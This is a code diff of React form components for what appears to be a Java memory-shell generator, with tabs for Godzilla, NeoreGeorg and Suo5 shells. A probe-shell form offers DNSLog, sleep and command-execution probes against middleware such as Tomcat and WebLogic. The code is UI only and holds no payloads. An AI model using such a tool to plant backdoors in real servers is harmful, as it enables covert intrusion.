+          const response = await fetch(classNameEndpoint, {
+            method: "POST",
+            headers: {
+              "Content-Type": "text/plain",
+            },
+            body: shellClassBase64,
+            signal: controller.signal,
+          });
+
+          if (!response.ok) {
+            throw new Error(response.statusText);
+          }
+
+          const className = await response.text();
+
+          if (!className) {
+            throw new Error("EMPTY_CLASS_NAME");
+          }
+
+          lastParsedBase64Ref.current = shellClassBase64;
+          form.setValue("shellClassName", className, {
+            shouldDirty: true,
+          });
+        } catch (error) {
+          if ((error as Error)?.name === "AbortError") {
+            return;
+          }
+
+          toast.error(t("memshell:tips.classNameParseFailed"));
+        }
+      };
+
+      void parseClassName();
+    }, 400);
+
+    return () => {
+      clearTimeout(timer);
+      controller.abort();
+    };
+  }, [classNameEndpoint, form, shellClassBase64, t]);
+
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Custom">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="shellClassBase64"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("shellClass")}</FormFieldLabel>
+                  <RadioGroup
+                    value={isFile ? "file" : "base64"}
+                    onValueChange={(value) => {
+                      field.onChange("");
+                      setIsFile(value === "file");
+                    }}
+                    className="flex items-center space-x-2"
+                  >
+                    <div className="flex items-center space-x-2">
+                      <RadioGroupItem value="base64" id="optionOne" />
+                      <Label htmlFor="optionOne">Base64</Label>
+                    </div>
+                    <div className="flex items-center space-x-2">
+                      <RadioGroupItem value="file" id="optionTwo" />
+                      <Label htmlFor="optionTwo">File</Label>
+                    </div>
+                  </RadioGroup>
+                  <FormControl className="mt-2">
+                    {isFile ? (
+                      <Input
+                        onChange={(e) => {
+                          const file = e.target.files?.[0];
+                          if (file) {
+                            const reader = new FileReader();
+                            reader.onload = (event) => {
+                              const base64String =
+                                (event.target?.result as string)?.split(
+                                  ",",
+                                )[1] || "";
+                              field.onChange(base64String);
+                            };
+                            reader.readAsDataURL(file);
+                          }
+                        }}
+                        accept=".class"
+                        placeholder={t("common:placeholders.input")}
+                        type="file"
+                      />
+                    ) : (
+                      <Textarea
+                        {...field}
+                        placeholder={t("common:placeholders.input")}
+                        className="h-24"
+                      />
+                    )}
+                  </FormControl>
+                  <FormMessage />
+                </FormFieldItem>
+              )}
+            />
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/godzilla-tab.tsx

@@ -0,0 +1,96 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function GodzillaTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Godzilla">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="godzillaPass"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("shellToolConfig.godzilla.pass")}{" "}
+                      {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="godzillaKey"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("shellToolConfig.godzilla.key")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/neoreg-tab.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function NeoRegTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="NeoreGeorg">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/shelltype-field.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function ShellTypeFormField({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <FormField
+        control={form.control}
+        name="shellType"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("mainConfig.shellMountType")}</FormFieldLabel>
+            <Select
+              onValueChange={(e) => {
+                form.resetField("urlPattern");
+                field.onChange(e);
+              }}
+              value={field.value}
+            >
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("common:placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent key={shellTypes?.join(",")}>
+                {shellTypes?.length ? (
+                  shellTypes.map((v) => (
+                    <SelectItem key={v} value={v}>
+                      {v}
+                    </SelectItem>
+                  ))
+                ) : (
+                  <SelectItem value=" ">
+                    {t("tips.shellToolNotSelected")}
+                  </SelectItem>
+                )}
+              </SelectContent>
+            </Select>
+          </FormFieldItem>
+        )}
+      />
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/suo5-tab.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function Suo5TabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Suo5">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/urlpattern-field.tsx

@@ -0,0 +1,35 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import {
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { shouldHidden } from "@/lib/utils";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function UrlPatternFormField({
+  form,
+}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
+  const { t } = useTranslation("common");
+  const shellType = form.watch("shellType");
+  return (
+    <FormProvider {...form}>
+      <FormField
+        control={form.control}
+        name="urlPattern"
+        render={({ field }) => (
+          <FormFieldItem
+            className={shouldHidden(shellType) ? "hidden" : "grid"}
+          >
+            <FormFieldLabel>{t("urlPattern")}</FormFieldLabel>
+            <Input {...field} placeholder={t("placeholders.input")} />
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    </FormProvider>
+  );
+}

web/app/components/probeshell/basic-info.tsx

@@ -0,0 +1,34 @@
+import { FileTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { CopyableField } from "@/components/copyable-field";
+import { FeedbackAlert } from "@/components/memshell/results/feedback-alert";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import type { ProbeShellResult } from "@/types/probeshell";
+
+export function BasicInfo({
+  generateResult,
+}: Readonly<{ generateResult?: ProbeShellResult }>) {
+  const { t } = useTranslation();
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
+          <div className="text-md flex items-center gap-2">
+            <FileTextIcon className="h-5" />
+            <span>{t("common:basicInfo")}</span>
+          </div>
+          <FeedbackAlert />
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <div className="grid grid-cols-1 gap-2">
+          <CopyableField
+            label={t("probeshell:shellClassName")}
+            value={generateResult?.shellClassName}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
+          />
+        </div>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/main-config-card.tsx

@@ -0,0 +1,418 @@
+import { ServerIcon } from "lucide-react";
+import { useCallback, useEffect, useMemo } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import type { ServerConfig } from "@/types/memshell";
+import type { ProbeShellFormSchema } from "@/types/schema";
+import { Separator } from "../ui/separator";
+
+const PROBE_OPTIONS = [
+  { value: "Server" as const, label: "server" },
+  { value: "JDK" as const, label: "jdk" },
+  { value: "Command" as const, label: "command" },
+  { value: "Bytecode" as const, label: "bytecode" },
+  { value: "ScriptEngine" as const, label: "script" },
+] as const;
+
+const MIDDLEWARE_OPTIONS = [
+  { value: "Tomcat", label: "Tomcat" },
+  { value: "Jetty", label: "Jetty" },
+  { value: "Undertow", label: "Undertow" },
+  { value: "Resin", label: "Resin" },
+  { value: "JBoss", label: "JBoss" },
+  { value: "GlassFish", label: "GlassFish" },
+  { value: "BES", label: "BES" },
+  { value: "TongWeb", label: "TongWeb" },
+  { value: "InforSuite", label: "InforSuite" },
+  { value: "Apusic", label: "Apusic" },
+  { value: "SpringWebFlux", label: "SpringWebFlux" },
+  { value: "WebLogic", label: "WebLogic" },
+  { value: "WebSphere", label: "WebSphere" },
+] as const;
+
+const PROBE_METHOD_OPTIONS = [
+  { value: "Sleep", label: "Sleep" },
+  { value: "DNSLog", label: "DNSLog" },
+  { value: "ResponseBody", label: "ResponseBody" },
+] as const;
+
+const DEFAULT_FORM_VALUES = {
+  reqParamName: "payload",
+  sleepServer: "Tomcat",
+  seconds: 5,
+} as const;
+
+interface MainConfigCardProps {
+  readonly form: UseFormReturn<ProbeShellFormSchema>;
+  readonly servers?: ServerConfig;
+}
+
+export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
+  const { t } = useTranslation(["common", "probeshell"]);
+  const watchedProbeMethod = form.watch("probeMethod");
+  const watchedProbeContent = form.watch("probeContent");
+
+  const filteredOptions = useMemo(() => {
+    const filterMap = {
+      ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
+      DNSLog: ["JDK", "Server"],
+      Sleep: ["Server"],
+    } as const;
+
+    const allowedValues =
+      filterMap[watchedProbeMethod as keyof typeof filterMap];
+
+    if (!allowedValues) return PROBE_OPTIONS;
+
+    return PROBE_OPTIONS.filter((opt) =>
+      allowedValues.includes(opt.value as never),
+    );
+  }, [watchedProbeMethod]);
+
+  const resetFormValues = useCallback(() => {
+    if (filteredOptions.length === 0) return;
+
+    const currentValues = form.getValues();
+    form.reset({
+      ...currentValues,
+      probeMethod: watchedProbeMethod,
+      probeContent: filteredOptions[0].value,
+      ...DEFAULT_FORM_VALUES,
+    });
+  }, [form, watchedProbeMethod, filteredOptions]);
+
+  useEffect(() => {
+    resetFormValues();
+  }, [resetFormValues]);
+
+  const ContentOptionsSelect = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="probeContent"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("probeshell:probeContent")}</FormFieldLabel>
+            <Select onValueChange={field.onChange} value={field.value || ""}>
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("common:placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent>
+                {filteredOptions.map((opt) => (
+                  <SelectItem key={opt.value} value={opt.value}>
+                    {t(`probeshell:probeContent.${opt.label}`)}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, filteredOptions, t],
+  );
+
+  const RequestParamField = useMemo(
+    () => (
+      <div className="space-y-2 pt-4 border-t mt-4">
+        <FormField
+          control={form.control}
+          name="reqParamName"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("common:paramName")}</FormFieldLabel>
+              <FormControl>
+                <Input placeholder={t("placeholders.input")} {...field} />
+              </FormControl>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  const SleepFields = useMemo(
+    () => (
+      <div className="space-y-2 pt-4 border-t mt-4">
+        <FormField
+          control={form.control}
+          name="sleepServer"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("probeshell:sleepServer")}</FormFieldLabel>
+              <Select onValueChange={field.onChange} value={field.value || ""}>
+                <FormControl>
+                  <SelectTrigger>
+                    <SelectValue placeholder={t("placeholders.select")} />
+                  </SelectTrigger>
+                </FormControl>
+                <SelectContent>
+                  {MIDDLEWARE_OPTIONS.map(({ value, label }) => (
+                    <SelectItem key={value} value={value}>
+                      {label}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="seconds"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("probeshell:sleepSeconds")}</FormFieldLabel>
+              <FormControl>
+                <Input
+                  type="number"
+                  placeholder={t("placeholders.input")}
+                  {...field}
+                  onChange={(event) => field.onChange(+event.target.value)}
+                />
+              </FormControl>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  const renderDynamicFields = useCallback(() => {
+    const isBodyMethod = watchedProbeMethod === "ResponseBody";
+    const needParam =
+      watchedProbeContent === "Command" ||
+      watchedProbeContent === "Bytecode" ||
+      watchedProbeContent === "ScriptEngine";
+    const isSleepMethod = watchedProbeMethod === "Sleep";
+    const isServerContent = watchedProbeContent === "Server";
+
+    if (isBodyMethod && needParam) {
+      return RequestParamField;
+    }
+
+    if (isSleepMethod && isServerContent) {
+      return SleepFields;
+    }
+
+    return null;
+  }, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]);
+
+  const DNSLogSection = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="host"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("probeshell:dnslog.host")}</FormFieldLabel>
+            <FormControl>
+              <Input placeholder={t("placeholders.input")} {...field} />
+            </FormControl>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, t],
+  );
+
+  const MiddlewareSelect = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="server"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("server")}</FormFieldLabel>
+            <Select onValueChange={field.onChange} defaultValue={field.value}>
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent>
+                {Object.keys(servers ?? {})
+                  .filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
+                  .map((server: string) => (
+                    <SelectItem key={server} value={server}>
+                      {server}
+                    </SelectItem>
+                  ))}
+              </SelectContent>
+            </Select>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, servers, t],
+  );
+
+  const SwitchGroup = useMemo(
+    () => (
+      <div className="flex gap-4 mt-4 flex-col sm:flex-row">
+        <FormField
+          control={form.control}
+          name="debug"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="debug"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <FormLabel htmlFor="debug">{t("debug")}</FormLabel>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="byPassJavaModule"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="bypass"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="bypass">{t("byPassJavaModule")}</Label>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="shrink"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="shrink"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="shrink">{t("shrink")}</Label>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="staticInitialize"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="staticInitialize"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="staticInitialize">
+                {t("common:staticInitialize")}
+              </Label>
+            </FormItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  return (
+    <FormProvider {...form}>
+      <Card>
+        <CardHeader className="pb-1">
+          <CardTitle className="text-md flex items-center gap-2">
+            <ServerIcon className="h-5 w-5" />
+            <span>{t("mainConfig.title")}</span>
+          </CardTitle>
+        </CardHeader>
+        <CardContent className="space-y-2">
+          <FormField
+            control={form.control}
+            name="probeMethod"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel>{t("probeshell:probeMethod")}</FormFieldLabel>
+                <Select
+                  onValueChange={field.onChange}
+                  defaultValue={field.value}
+                >
+                  <FormControl>
+                    <SelectTrigger>
+                      <SelectValue />
+                    </SelectTrigger>
+                  </FormControl>
+                  <SelectContent>
+                    {PROBE_METHOD_OPTIONS.map(({ value, label }) => (
+                      <SelectItem key={value} value={value}>
+                        {label}
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+                <FormMessage />
+              </FormFieldItem>
+            )}
+          />
+
+          {watchedProbeMethod === "ResponseBody" && MiddlewareSelect}
+          {watchedProbeMethod === "DNSLog" && DNSLogSection}
+          {watchedProbeMethod && ContentOptionsSelect}
+          {SwitchGroup}
+          {renderDynamicFields()}
+          <Separator />
+          <FormField
+            control={form.control}
+            name="shellClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="shellClassName">
+                  {t("probeshell:shellClassName")} {t("optional")}
+                </FormFieldLabel>
+                <Input
+                  id="shellClassName"
+                  {...field}
+                  placeholder={t("placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        </CardContent>
+      </Card>
+    </FormProvider>
+  );
+}

web/app/components/probeshell/package-config-card.tsx

@@ -0,0 +1,106 @@
+import { PackageIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+} from "@/components/ui/form";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import type { PackerConfig } from "@/types/memshell";
+import type { ProbeShellFormSchema } from "@/types/schema";
+
+type Option = {
+  name: string;
+  value: string;
+};
+
+export default function PackageConfigCard({
+  packerConfig,
+  form,
+}: Readonly<{
+  packerConfig: PackerConfig | undefined;
+  form: UseFormReturn<ProbeShellFormSchema>;
+}>) {
+  const [options, setOptions] = useState<Array<Option>>([]);
+  const { t } = useTranslation("common");
+
+  useEffect(() => {
+    const filteredOptions = (packerConfig ?? []).filter((name) => {
+      return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
+    });
+
+    const mappedOptions = filteredOptions.map((name) => {
+      return {
+        name: name,
+        value: name,
+      };
+    });
+
+    setOptions(mappedOptions);
+    const currentValue = form.getValues("packingMethod");
+    if (
+      filteredOptions.length > 0 &&
+      (!currentValue || !filteredOptions.includes(currentValue))
+    ) {
+      form.setValue("packingMethod", filteredOptions[0]);
+    }
+  }, [form, packerConfig]);
+
+  return (
+    <Card className="w-full">
+      <CardHeader className="pb-1">
+        <CardTitle className="text-md flex items-center gap-2">
+          <PackageIcon className="h-5" />
+          <span>{t("packerConfig.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        {options.length > 0 ? (
+          <FormProvider {...form}>
+            <FormField
+              control={form.control}
+              name="packingMethod"
+              render={({ field }) => (
+                <FormItem className="space-y-3">
+                  <FormLabel>{t("packerMethod")}</FormLabel>
+                  <FormControl>
+                    <RadioGroup
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      className="grid grid-cols-2 md:grid-cols-3"
+                    >
+                      {options.map(({ name, value }) => (
+                        <FormItem
+                          key={value}
+                          className="flex items-center space-x-3 space-y-0"
+                        >
+                          <FormControl>
+                            <RadioGroupItem value={value} id={value} />
+                          </FormControl>
+                          <FormLabel className="text-xs" htmlFor={value}>
+                            {name}
+                          </FormLabel>
+                        </FormItem>
+                      ))}
+                    </RadioGroup>
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">
+              {t("loading")}
+            </span>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/quick-usage.tsx

@@ -0,0 +1,24 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+
+export function QuickUsage() {
+  const { t } = useTranslation(["common", "probeshell"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:quickUsage.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li>{t("probeshell:quickUsage.step1")}</li>
+          <li>{t("probeshell:quickUsage.step2")}</li>
+          <li>{t("probeshell:quickUsage.step3")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/shell-result.tsx

@@ -0,0 +1,65 @@
+import { useTranslation } from "react-i18next";
+import { QuickUsage } from "@/components/probeshell/quick-usage";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import type { ProbeShellResult } from "@/types/probeshell";
+import CodeViewer from "../code-viewer";
+import { MultiPackResult } from "../memshell/results/multi-packer";
+import { BasicInfo } from "./basic-info";
+
+export default function ShellResult({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: ProbeShellResult;
+}>) {
+  const { t } = useTranslation();
+  if (!generateResult) {
+    return <QuickUsage />;
+  }
+  const showCode = packMethod === "JSP";
+  const height = 550;
+  return (
+    <Tabs defaultValue="packResult">
+      <TabsList className="grid w-full grid-cols-1">
+        <TabsTrigger value="packResult">
+          {t("common:generateResult")}
+        </TabsTrigger>
+      </TabsList>
+      <TabsContent value="packResult" className="my-2 space-y-4">
+        <BasicInfo generateResult={generateResult} />
+        {allPackResults && (
+          <MultiPackResult
+            allPackResults={allPackResults}
+            shellClassName={generateResult?.shellClassName}
+            packMethod={packMethod}
+            height={height}
+          />
+        )}
+        {packResult && (
+          <CodeViewer
+            code={packResult}
+            header={
+              <div className="flex items-center justify-between text-xs gap-2">
+                <span>
+                  {t("common:packerMethod")}：{packMethod}
+                </span>
+                <span className="text-muted-foreground">
+                  ({packResult?.length})
+                </span>
+              </div>
+            }
+            wrapLongLines={!showCode}
+            showLineNumbers={showCode}
+            language={showCode ? "java" : "text"}
+            height={height}
+          />
+        )}
+      </TabsContent>
+    </Tabs>
+  );
+}

web/app/components/search.tsx

@@ -0,0 +1,49 @@
+import { create } from "@orama/orama";
+import { useDocsSearch } from "fumadocs-core/search/client";
+import {
+  SearchDialog,
+  SearchDialogClose,
+  SearchDialogContent,
+  SearchDialogHeader,
+  SearchDialogIcon,
+  SearchDialogInput,
+  SearchDialogList,
+  SearchDialogOverlay,
+  type SharedProps,
+} from "fumadocs-ui/components/dialog/search";
+import { useI18n } from "fumadocs-ui/contexts/i18n";
+
+function initOrama() {
+  return create({
+    schema: { _: "string" },
+    language: "english",
+  });
+}
+
+export default function DefaultSearchDialog(props: SharedProps) {
+  const { locale } = useI18n();
+  const { search, setSearch, query } = useDocsSearch({
+    type: "static",
+    initOrama,
+    locale,
+  });
+
+  return (
+    <SearchDialog
+      search={search}
+      onSearchChange={setSearch}
+      isLoading={query.isLoading}
+      {...props}
+    >
+      <SearchDialogOverlay />
+      <SearchDialogContent>
+        <SearchDialogHeader>
+          <SearchDialogIcon />
+          <SearchDialogInput />
+          <SearchDialogClose />
+        </SearchDialogHeader>
+        <SearchDialogList items={query.data !== "empty" ? query.data : null} />
+      </SearchDialogContent>
